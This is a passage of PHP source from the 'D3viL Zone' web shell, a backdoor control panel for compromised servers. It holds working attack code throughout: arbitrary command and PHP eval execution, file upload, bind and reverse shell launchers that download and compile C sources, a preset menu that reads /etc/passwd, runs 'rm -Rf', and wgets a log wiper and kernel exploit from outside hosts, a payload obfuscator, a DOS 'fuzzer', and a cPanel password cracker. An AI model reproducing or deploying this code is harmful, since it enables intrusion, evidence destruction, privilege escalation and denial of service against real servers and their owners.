5424 mail($suppmail,"D3viL Zone v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail);
5425
5426 echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>";
5427
5428 }
5429
5430 else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Hindi.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";}
5431
5432}
5433
5434if ($act == "systeminfo") {echo system('systeminfo');}
5435
5436if ($act == "phpinfo") {@ob_clean(); phpinfo(); cyb3rexit(); }
5437
5438if ($act == "upload")
5439
5440{
5441 echo "<b>File upload:</b><br><form enctype=\"multipart/form-data\" action=\"\" method=POST>
5442
5443Select file on your local computer: <input name=\"uploaded\" type=\"file\"><br> or<br>
5444
5445Save this file dir: <input name=\"path\" size=\"70\" value=\"".getcwd()."\"><br><br>
5446
5447File-name (auto-fill): <input name=uploadfilename size=25><br><br>
5448
5449<input type=submit name=submit value=\"Upload\">
5450
5451</form>";
5452$target = $_POST['path'];
5453 $target = $target .'\\'. basename( $_FILES['uploaded']['name']) ;
5454 $ok=1;
5455if (isset($_FILES['uploaded']['name'])) {
5456 if (file_exists($target))
5457 {
5458 echo $_FILES["uploaded"]["name"] . " already exists. ";
5459 }
5460 else
5461 {
5462 if(move_uploaded_file($_FILES['uploaded']['tmp_name'], $target))
5463 {
5464 echo "Upload: " . $_FILES["uploaded"]["name"] . "<br />";
5465 echo "Type: " . $_FILES["uploaded"]["type"] . "<br />";
5466 echo "Size: " . round(($_FILES["uploaded"]["size"] / 1024),3) . " Kb<br />";
5467 echo "Stored in: " . $target;
5468 }
5469 else
5470 {
5471 echo "Sorry, there was a problem uploading your file.";
5472 }
5473 }
5474 }
5475}
5476if ($act == "whois")
5477{
5478global $t,$hcwd;
5479if (!empty($_REQUEST['server']) && !empty($_REQUEST['domain'])){
5480$server =$_REQUEST['server'];
5481$domain=$_REQUEST['domain']."\r\n";
5482$ser=fsockopen($server,43,$en,$es,5);
5483fputs($ser,$domain);
5484echo "<pre>";
5485while(!feof($ser))echo fgets($ser);
5486echo "</pre>";
5487fclose($ser);
5488}
5489else{
5490echo "<center><table width=\"50%\">Whois:<form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Server:</td><td bgcolor=\"#666666\"><input type=text value=\"";if (!empty($_REQUEST['server'])) echo htmlspecialchars($_REQUEST['server']);else echo "whois.geektools.com"; echo "\" name=server size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">domain:</td><td bgcolor=\"#808080\"><input type=text name=domain value=\"";if (!empty($_REQUEST['domain'])) echo htmlspecialchars($_REQUEST['domain']); else echo "google.com"; echo "\" size=35></td><tr><td bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right>$hcwd<input class=buttons type=submit value=\"Do\"></td></tr></form></table></center>";
5491}
5492}
5493
5494
5495
5496if ($act == "cracker")
5497{
5498 echo "
5499<br><center>
5500<a href=\"".$surl."act=hash\" >Hash</a><font color='silver'> -|- </font>
5501<a href=\"".$surl."act=smtp\" >SMTP</a><font color='silver'> -|- </font>
5502<a href=\"".$surl."act=pop3\" >POP3</a><font color='silver'> -|- </font>
5503<a href=\"".$surl."act=imap\" >IMAP</a><font color='silver'> -|- </font>
5504<a href=\"".$surl."act=ftp\" >FTP</a><font color='silver'> -|- </font>
5505<a href=\"".$surl."act=snmp\" >SNMP</a><font color='silver'> -|- </font>
5506<a href=\"".$surl."act=mysql\" >MySQL</a><font color='silver'> -|- </font>
5507<a href=\"".$surl."act=htmlform\" >HTTP Form</a><font color='silver'> -|- </font>
5508<a href=\"".$surl."act=basicauth\" >HTTP Auth(basic)</a><font color='silver'> -|- </font>
5509<a href=\"".$surl."act=cpanel\" >CPANEL</a><font color='silver'> -|- </font>
5510<a href=\"".$surl."act=dic\" >Dictionary Maker</a>
5511</center><br>";
5512}
5513
5514if ($act == "shells")
5515{ ?>
5516<TABLE style="BORDER-COLLAPSE: collapse; borderColor=#c0c0c0" cellSpacing=0 cellPadding=5 width="100%" border=1>
5517 <tr> <!-- 1 -->
5518 <td valign="top" width="50%" ><p align="center"><b>(: Bind/Reverse Shell :)</b></p></td>
5519 <td valign="top" ><p align="center"><b>[: Web Shell :]</b></p></td>
5520
5521 </tr>
5522 <tr><!-- 2 -->
5523 <td valign="top" ><center>
5524 <?php
5525
5526 $bndportsrcs = array(
5527
5528 "cyb3r_bindport.pl"=>array("Using PERL","perl %path %port"),
5529
5530 "cyb3r_bindport.c"=>array("Using C","%path %port %pass")
5531
5532 );
5533
5534 $bcsrcs = array(
5535
5536 "cyb3r_backconn.pl"=>array("Using PERL","perl %path %host %port"),
5537
5538 "cyb3r_backconn.c"=>array("Using C","%path %host %port")
5539
5540 );
5541
5542 $dpsrcs = array(
5543
5544 "cyb3r_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"),
5545
5546 "cyb3r_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost")
5547
5548 );
5549
5550 if (!is_array($bind)) {$bind = array();}
5551
5552 if (!is_array($bc)) {$bc = array();}
5553
5554 if (!is_array($datapipe)) {$datapipe = array();}
5555
5556
5557
5558 if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;}
5559
5560 if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;}
5561
5562
5563
5564 if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");}
5565
5566 if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;}
5567
5568
5569
5570 if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";}
5571
5572 if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;}
5573
5574 if (!empty($bindsubmit))
5575
5576 {
5577
5578 echo "<b>Result of binding port:</b><br>";
5579
5580 $v = $bndportsrcs[$bind["src"]];
5581
5582 if (empty($v)) {echo "Unknown file!<br>";}
5583
5584 elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";}
5585
5586 else
5587
5588 {
5589
5590 $w = explode(".",$bind["src"]);
5591
5592 $ext = $w[count($w)-1];
5593
5594 unset($w[count($w)-1]);
5595
5596 $srcpath = join(".",$w).".".rand(0,999).".".$ext;
5597
5598 $binpath = $tmpdir.join(".",$w).rand(0,999);
5599
5600 if ($ext == "pl") {$binpath = $srcpath;}
5601
5602 @unlink($srcpath);
5603
5604 $fp = fopen($srcpath,"ab+");
5605
5606 if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
5607
5608 elseif (!$data = cyb3rgetsource($bind["src"])) {echo "Can't download sources!";}
5609
5610 else
5611
5612 {
5613
5614 fwrite($fp,$data,strlen($data));
5615
5616 fclose($fp);
5617
5618 if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
5619
5620 $v[1] = str_replace("%path",$binpath,$v[1]);
5621
5622 $v[1] = str_replace("%port",$bind["port"],$v[1]);
5623
5624 $v[1] = str_replace("%pass",$bind["pass"],$v[1]);
5625
5626 $v[1] = str_replace("//","/",$v[1]);
5627
5628 $retbind = myshellexec($v[1]." > /dev/null &");
5629
5630 sleep(5);
5631
5632 $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5);
5633
5634 if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";}
5635
5636 else {echo "Binding... ok! Connect to <b>".getenv("SERVER_ADDR").":".$bind["port"]."</b>! You should use NetCat©, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View binder's process</u></a></center>";}
5637
5638 }
5639
5640 echo "<br>";
5641
5642 }
5643
5644 }
5645
5646 if (!empty($bcsubmit))
5647
5648 {
5649
5650 echo "<b>Result of back connection:</b><br>";
5651
5652 $v = $bcsrcs[$bc["src"]];
5653
5654 if (empty($v)) {echo "Unknown file!<br>";}
5655
5656 else
5657
5658 {
5659
5660 $w = explode(".",$bc["src"]);
5661
5662 $ext = $w[count($w)-1];
5663
5664 unset($w[count($w)-1]);
5665
5666 $srcpath = join(".",$w).".".rand(0,999).".".$ext;
5667
5668 $binpath = $tmpdir.join(".",$w).rand(0,999);
5669
5670 if ($ext == "pl") {$binpath = $srcpath;}
5671
5672 @unlink($srcpath);
5673
5674 $fp = fopen($srcpath,"ab+");
5675
5676 if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
5677
5678 elseif (!$data = cyb3rgetsource($bc["src"])) {echo "Can't download sources!";}
5679
5680 else
5681
5682 {
5683
5684 fwrite($fp,$data,strlen($data));
5685
5686 fclose($fp);
5687
5688 if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
5689
5690 $v[1] = str_replace("%path",$binpath,$v[1]);
5691
5692 $v[1] = str_replace("%host",$bc["host"],$v[1]);
5693
5694 $v[1] = str_replace("%port",$bc["port"],$v[1]);
5695
5696 $v[1] = str_replace("//","/",$v[1]);
5697
5698 $retbind = myshellexec($v[1]." > /dev/null &");
5699
5700 echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...<br>";
5701
5702 }
5703
5704 }
5705
5706 }
5707
5708 if (!empty($dpsubmit))
5709
5710 {
5711
5712 echo "<b>Result of datapipe-running:</b><br>";
5713
5714 $v = $dpsrcs[$datapipe["src"]];
5715
5716 if (empty($v)) {echo "Unknown file!<br>";}
5717
5718 elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";}
5719
5720 else
5721
5722 {
5723
5724 $srcpath = $tmpdir.$datapipe["src"];
5725
5726 $w = explode(".",$datapipe["src"]);
5727
5728 $ext = $w[count($w)-1];
5729
5730 unset($w[count($w)-1]);
5731
5732 $srcpath = join(".",$w).".".rand(0,999).".".$ext;
5733
5734 $binpath = $tmpdir.join(".",$w).rand(0,999);
5735
5736 if ($ext == "pl") {$binpath = $srcpath;}
5737
5738 @unlink($srcpath);
5739
5740 $fp = fopen($srcpath,"ab+");
5741
5742 if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
5743
5744 elseif (!$data = cyb3rgetsource($datapipe["src"])) {echo "Can't download sources!";}
5745
5746 else
5747
5748 {
5749
5750 fwrite($fp,$data,strlen($data));
5751
5752 fclose($fp);
5753
5754 if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
5755
5756 list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]);
5757
5758 $v[1] = str_replace("%path",$binpath,$v[1]);
5759
5760 $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]);
5761
5762 $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]);
5763
5764 $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]);
5765
5766 $v[1] = str_replace("//","/",$v[1]);
5767
5768 $retbind = myshellexec($v[1]." > /dev/null &");
5769
5770 sleep(5);
5771
5772 $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5);
5773
5774 if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";}
5775
5776 else {echo "Running datapipe... ok! Connect to <b>".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."</b>! You should use NetCat©, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View datapipe process</u></a></center>";}
5777
5778 }
5779
5780 echo "<br>";
5781
5782 }
5783
5784 }
5785
5786 ?><b>Binding port:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=shells><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>"> Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>"> <select name="bind[src]"><?php
5787
5788 foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
5789
5790 ?></select> <input type=submit name=bindsubmit value="Bind"></form>
5791
5792<b>Back connection:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>"> Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>"> <select name="bc[src]"><?php
5793
5794foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
5795
5796?></select> <input type=submit name=bcsubmit value="Connect"></form>
5797
5798Click "Connect" only after open port for it. You should use NetCat©, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br>
5799
5800<b>Datapipe:</b><br>
5801<form action="<?php echo $surl; ?>">
5802<input type=hidden name=act value=shells><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>"> Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>"> <select name="datapipe[src]"><?php
5803
5804foreach($dpsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
5805
5806?></select> <input type=submit name=dpsubmit value="Run"></form><b>Note:</b> sources will be downloaded from remote server.
5807
5808
5809
5810
5811 </center></td>
5812
5813 <td ><center>
5814 <p align="center"><b>[: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Enter Command to Execute:</b></a> :]</b>
5815
5816<form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1"> <input type=submit name=submit value="Execute"></form></p><br>
5817<div align="center">Useful Commands </div>
5818
5819
5820 <form action="<?php echo $surl; ?>">
5821
5822 <div align="center">
5823
5824 <input type=hidden name=act value="cmd">
5825
5826 <input type=hidden name="d" value="<?php echo $dispd; ?>">
5827
5828 <SELECT NAME="cmd">
5829
5830 <OPTION VALUE="uname -a">Kernel version</option>
5831
5832 <OPTION VALUE="w">Logged in users</option>
5833
5834 <OPTION VALUE="lastlog">Last to connect</option>
5835
5836 <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins</option>
5837
5838 <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD!</option>
5839
5840 <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/?</option>
5841
5842 <OPTION VALUE="which wget curl w3m lynx">Downloaders?</option>
5843
5844 <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO</option>
5845
5846 <OPTION VALUE="netstat -atup | grep IST">Open ports</option>
5847
5848 <OPTION VALUE="locate gcc">gcc installed?</option>
5849
5850 <OPTION VALUE="rm -Rf">Format box (DANGEROUS)</option>
5851
5852 <OPTION VALUE="wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed)</option>
5853
5854 <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2</option>
5855
5856 <OPTION VALUE="./zap2">WIPELOGS PT3</option>
5857
5858 <OPTION VALUE="wget http://ftp.powernet.com.tr/supermail/debug/k3">Kernel attack (Krad.c) PT1 (If wget installed)</option>
5859
5860 <OPTION VALUE="./k3 1">Kernel attack (Krad.c) PT2 (L1)</option>
5861
5862 <OPTION VALUE="./k3 2">Kernel attack (Krad.c) PT2 (L2)</option>
5863
5864 <OPTION VALUE="./k3 3">Kernel attack (Krad.c) PT2 (L3)</option>
5865
5866 <OPTION VALUE="./k3 4">Kernel attack (Krad.c) PT2 (L4)</option>
5867
5868 <OPTION VALUE="./k3 5">Kernel attack (Krad.c) PT2 (L5)</option>
5869
5870 </SELECT>
5871
5872 <input type=hidden name="cmd_txt" value="1">
5873
5874
5875
5876 <input type=submit name=submit value="Execute">
5877
5878 <br>
5879
5880 Warning. Kernel may be alerted using higher levels </div>
5881
5882 </form>
5883
5884 </center>
5885 </td>
5886
5887 </tr>
5888
5889 </table><?php
5890
5891}
5892
5893if ($act == "cmd")
5894
5895{
5896
5897if (trim($cmd) == "ps -aux") {$act = "processes";}
5898
5899elseif (trim($cmd) == "tasklist") {$act = "processes";}
5900
5901else
5902
5903{
5904
5905 @chdir($chdir);
5906
5907 if (!empty($submit))
5908
5909 {
5910
5911 echo "<b>Result of execution this command</b>:<br>";
5912
5913 $olddir = realpath(".");
5914
5915 @chdir($d);
5916
5917 $ret = myshellexec($cmd);
5918
5919 $ret = convert_cyr_string($ret,"d","w");
5920
5921 if ($cmd_txt)
5922
5923 {
5924
5925 $rows = count(explode("\r\n",$ret))+1;
5926
5927 if ($rows < 10) {$rows = 10;}
5928
5929 echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
5930
5931 }
5932
5933 else {echo $ret."<br>";}
5934
5935 @chdir($olddir);
5936
5937 }
5938
5939 else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
5940
5941 echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\"> Display in text-area <input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>";
5942
5943}
5944
5945}
5946
5947if ($act == "phpcode")
5948{
5949 echo "
5950<br><center>
5951<a href=\"".$surl."act=eval\" >PHP Code Evaluate</a><font color='silver'> -|- </font>
5952<a href=\"".$surl."act=masscode\" >Mass Code Injector</a><font color='silver'> -|- </font>
5953<a href=\"".$surl."act=obfuscate\" >PHP Obfuscator</a><font color='silver'> -|- </font>
5954<a href=\"".$surl."act=fuzzer\" >Web Server Fuzzer</a>
5955</center><br>";
5956}
5957
5958if ($act == "eval")
5959
5960{
5961
5962 if (!empty($eval))
5963
5964 {
5965
5966 echo "<b>Result of execution this PHP-code</b>:<br>";
5967
5968 $tmp = ob_get_contents();
5969
5970 $olddir = realpath(".");
5971
5972 @chdir($d);
5973
5974 if ($tmp)
5975
5976 {
5977
5978 ob_clean();
5979
5980 eval($eval);
5981
5982 $ret = ob_get_contents();
5983
5984 $ret = convert_cyr_string($ret,"d","w");
5985
5986 ob_clean();
5987
5988 echo $tmp;
5989
5990 if ($eval_txt)
5991
5992 {
5993
5994 $rows = count(explode("\r\n",$ret))+1;
5995
5996 if ($rows < 10) {$rows = 10;}
5997
5998 echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
5999
6000 }
6001
6002 else {echo $ret."<br>";}
6003
6004 }
6005
6006 else
6007
6008 {
6009
6010 if ($eval_txt)
6011
6012 {
6013
6014 echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
6015
6016 eval($eval);
6017
6018 echo "</textarea>";
6019
6020 }
6021
6022 else {echo $ret;}
6023
6024 }
6025
6026 @chdir($olddir);
6027
6028 }
6029
6030 else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
6031
6032 echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\"> Display in text-area <input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
6033
6034}
6035
6036if ($act == "proxy")
6037{
6038global $errorbox,$et,$footer,$hcwd;
6039echo "<table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" width=\"100%\"><form method=\"POST\"><tr><td width=\"20%\"><b>Navigator: </b><input type=text name=urL size=140 value=\""; if(!!empty($_REQUEST['urL'])) echo "http://www.edpsciences.org/htbin/ipaddress"; else echo htmlspecialchars($_REQUEST['urL']);echo "\">$hcwd<input type=submit class=buttons value=Go></td></tr></form></table>";
6040if (!empty($_REQUEST['urL'])){
6041$dir="";
6042$u=parse_url($_REQUEST['urL']);
6043$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';
6044if(substr_count($file,'/')>1)$dir=substr($file,0,(strpos($file,'/')));
6045$url=@fsockopen($host, 80, $errno, $errstr, 12);
6046if(!$url)die("<br>$errorbox Can not connect to host!$et$footer");
6047fputs($url, "GET /$file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n");
6048while(!feof($url)){
6049$con = fgets($url);
6050$con = str_replace("href=mailto","HrEf=mailto",$con);
6051$con = str_replace("HREF=mailto","HrEf=mailto",$con);
6052$con = str_replace("href=\"mailto","HrEf=\"mailto",$con);
6053$con = str_replace("HREF=\"mailto","HrEf=\"mailto",$con);
6054$con = str_replace("href=\'mailto","HrEf=\"mailto",$con);
6055$con = str_replace("HREF=\'mailto","HrEf=\"mailto",$con);
6056$con = str_replace("href=\"http","HrEf=\"".hlinK("seC=px&urL=http"),$con);
6057$con = str_replace("HREF=\"http","HrEf=\"".hlinK("seC=px&urL=http"),$con);
6058$con = str_replace("href=\'http","HrEf=\"".hlinK("seC=px&urL=http"),$con);
6059$con = str_replace("HREF=\'http","HrEf=\"".hlinK("seC=px&urL=http"),$con);
6060$con = str_replace("href=http","HrEf=".hlinK("seC=px&urL=http"),$con);
6061$con = str_replace("HREF=http","HrEf=".hlinK("seC=px&urL=http"),$con);
6062$con = str_replace("href=\"","HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),$con);
6063$con = str_replace("HREF=\"","HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),$con);
6064$con = str_replace("href=\"","HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),$con);
6065$con = str_replace("HREF=\"","HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),$con);
6066$con = str_replace("href=","HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),$con);
6067$con = str_replace("HREF=","HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),$con);
6068echo $con;
6069}
6070fclose($url);
6071}
6072}
6073
6074
6075if ($act == "obfuscate")
6076{
6077 if ( isset($_POST['code']) &&
6078 $_POST['code'] != '')
6079 {
6080 $encoded = base64_encode(gzdeflate(trim(stripslashes($_POST['code'].' '),'<?php,?>'),9)); // high Compression! :P
6081 $encode = '
6082<?php
6083$encoded = \''.$encoded.'\';
6084eval(gzinflate(base64_decode($encoded)));
6085// Encoded by D3viL Zone. Thanx lionaneesh for this idea.
6086?>
6087';
6088 }
6089 else
6090 {
6091 $encode = 'Please Enter your Code! and Click Submit! :)';
6092 }?>
6093 <form method="POST">
6094 <textarea cols="100" rows="20" name="code"><?php echo $encode;?></textarea><br />
6095 <input style="margin: 20px; margin-left: 50px; padding: 10px;" class="own" type="submit" value="Encode :D"/>
6096 </form>
6097 <?php
6098}
6099
6100if ($act == "fuzzer")
6101{
6102 if(isset($_POST['ip']) &&
6103 isset($_POST['port']) &&
6104 isset($_POST['times']) &&
6105 isset($_POST['time']) &&
6106 isset($_POST['message']) &&
6107 isset($_POST['messageMultiplier']) &&
6108 $_POST['message'] != "" &&
6109 $_POST['time'] != "" &&
6110 $_POST['times'] != "" &&
6111 $_POST['port'] != "" &&
6112 $_POST['ip'] != "" &&
6113 $_POST['messageMultiplier'] != ""
6114 )
6115 {
6116 $IP=$_POST['ip'];
6117 $port=$_POST['port'];
6118 $times = $_POST['times'];
6119 $timeout = $_POST['time'];
6120 $send = 0;
6121 $ending = "";
6122 $multiplier = $_POST['messageMultiplier'];
6123 $data = "";
6124 $mode="tcp";
6125 $data .= "POST /";
6126 $ending .= " HTTP/1.1\n\r\n\r\n\r\n\r";
6127 if($_POST['type'] == "tcp")
6128 {
6129 $mode = "tcp";
6130 }
6131 while($multiplier--)
6132 {
6133 $data .= urlencode($_POST['message']);
6134 }
6135 $data .= "%s%s%s%s%d%x%c%n%n%n%n";// add some format string specifiers
6136 $data .= "by-cyb3r-sh3ll".$ending;
6137 $length = strlen($data);
6138
6139
6140 echo "Sending Data :- <br /> <p align='center'>$data</p>";
6141
6142 print "D3viL Zone is at its Work now :D ;D! Dont close this window untill you recieve a message <br>";
6143 for($i=0;$i<$times;$i++)
6144 {
6145 $socket = fsockopen("$mode://$IP", $port, $error, $errorString, $timeout);
6146 if($socket)
6147 {
6148 fwrite($socket , $data , $length );
6149 fclose($socket);
6150 }
6151 }
6152 echo "<script>alert('Fuzzing Completed!');</script>";
6153 echo "DOS attack against $mode://$IP:$port completed on ".date("h:i:s A")."<br />";
6154 echo "Total Number of Packets Sent : " . $times . "<br />";
6155 echo "Total Data Sent = ". showsizE($times*$length) . "<br />";
6156 echo "Data per packet = " . showsizE($length) . "<br />";
6157 }
6158 else
6159 {
6160 ?>
6161 <form method="POST">
6162 <input type="hidden" name="fuzz" />
6163 <table id="margins">
6164 <tr>
6165 <td width="400" class="title">
6166 IP
6167 </td>
6168 <td>
6169 <input class="cmd" name="ip" value="127.0.0.1" onfocus="if(this.value == '127.0.0.1')this.value = '';" onblur="if(this.value=='')this.value='127.0.0.1';"/>
6170 </td>
6171 </tr>
6172
6173 <tr>
6174 <td class="title">
6175 Port
6176 </td>
6177 <td>
6178 <input class="cmd" name="port" value="80" onfocus="if(this.value == '80')this.value = '';" onblur="if(this.value=='')this.value='80';"/>
6179 </td>
6180 </tr>
6181
6182 <tr>
6183 <td class="title">
6184 Timeout
6185 </td>
6186 <td>
6187 <input type="text" name="time" value="5" onfocus="if(this.value == '5')this.value = '';" onblur="if(this.value=='')this.value='5';"/>
6188 </td>
6189 </tr>
6190
6191
6192 <tr>
6193 <td class="title">
6194 No of times
6195 </td>
6196 <td>
6197 <input type="text" class="cmd" name="times" value="100" onfocus="if(this.value == '100')this.value = '';" onblur="if(this.value=='')this.value='100';" />
6198 </td>
6199 </tr>
6200
6201 <tr>
6202 <td class="title">
6203 Message <font color="red">(The message Should be long and it will be multiplied with the value after it)</font>
6204 </td>
6205 <td>
6206 <input class="cmd" name="message" value="%S%x--Some Garbage here --%x%S" onfocus="if(this.value == '%S%x--Some Garbage here --%x%S')this.value = '';" onblur="if(this.value=='')this.value='%S%x--Some Garbage here --%x%S';"/>
6207 </td>
6208 <td>
6209 x
6210 </td>
6211 <td width="20">
6212 <input style="width: 30px;" name="messageMultiplier" value="10" />
6213 </td>
6214 </tr>
6215
6216 <tr>
6217 <td rowspan="2">
6218 <input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="submit" class="own" value="Let it be! :D"/>
6219 </td>
6220 </tr>
6221 </table>
6222 </form>
6223 <?php
6224 }
6225}
6226
6227if ($act == "cpanel")
6228{
6229$cpanel_port="2082";
6230$connect_timeout=5;
6231set_time_limit(0);
6232$submit=$_REQUEST['submit'];
6233$users=$_REQUEST['users'];
6234$pass=$_REQUEST['passwords'];
6235$target=$_REQUEST['target'];
6236$cracktype=$_REQUEST['cracktype'];
6237if($target == ""){
6238$target = "localhost";
6239}
6240$charset=$_REQUEST['charset'];
6241if($charset=="")
6242 $charset="lowercase";
6243$max_length=$_REQUEST['max_length'];
6244if($max_length=="")
6245 $max_length=10;
6246$min_length=$_REQUEST['min_length'];
6247if($min_length=="")
6248 $min_length=1;
6249
6250 $charsetall = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9");
6251 $charsetlower = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z");
6252 $charsetupper = array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z");
6253 $charsetnumeric = array("0", "1", "2", "3", "4", "5", "6", "7", "8", "9");
